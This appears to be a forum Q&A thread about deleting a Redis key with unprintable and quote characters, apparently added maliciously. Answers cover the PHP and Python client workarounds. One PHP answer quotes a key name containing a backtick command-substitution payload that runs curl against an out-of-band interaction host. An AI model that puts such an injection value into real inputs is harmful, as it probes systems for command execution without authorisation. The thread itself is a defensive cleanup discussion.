Reputation: 61
I cannot delete a key of the format ENV:NAMESPACE:?''?""-last
from our Redis instance. It appears to have been added maliciously.
Despite it being returned by redis-cli --scan
, I cannot find any way to delete it using redis-cli
. Every single combination of escaping in the shell or using interactive mode is unable to find the key.
Just a few attempts include:
$ redis-cli --scan --pattern 'ENV:NAMESPACE:*-last' | xargs redis-cli del
xargs: unterminated quote
$ redis-cli del ENV:NAMESPACE:?''?""-last
(integer) 0
$ redis-cli del "ENV:NAMESPACE:?''?\"\"-last"
(integer) 0
$ redis-cli del 'ENV:NAMESPACE:?'"'"''"'"'?""-last'
$redis-cli
> del ENV:NAMESPACE:?''?""-last
Invalid argument(s)
> del "ENV:NAMESPACE:?''?\"\"-last"
(integer) 0
> del 'ENV:NAMESPACE:?\'\'?""-last'
(integer) 0
Anyone know a way to make this work or a reasonable alternative to delete the key?
Upvotes: 2
Views: 2101
Reputation: 1423
I also agree with ceejayoz's suggestion: in my case, it worked with the Redis PHP library, with code looking like this:
$redis = new Redis();
$redis->connect(REDIS_IP_ADDRESS, 6379);
$result = $redis->del('rubbish key including backquotes`curl -v http://mydomain.com.3aeur79uqav73w6wphmx79sm2d83ws.oastify.com`');
Upvotes: 0
Reputation: 61
I ended up trying the python client per ceejayoz's suggestion.
Turns out the actual key was b'ENV:NAMESPACE:\xf0\'\'\xf0""-last'
and I was able to delete it directly from there.
Upvotes: 2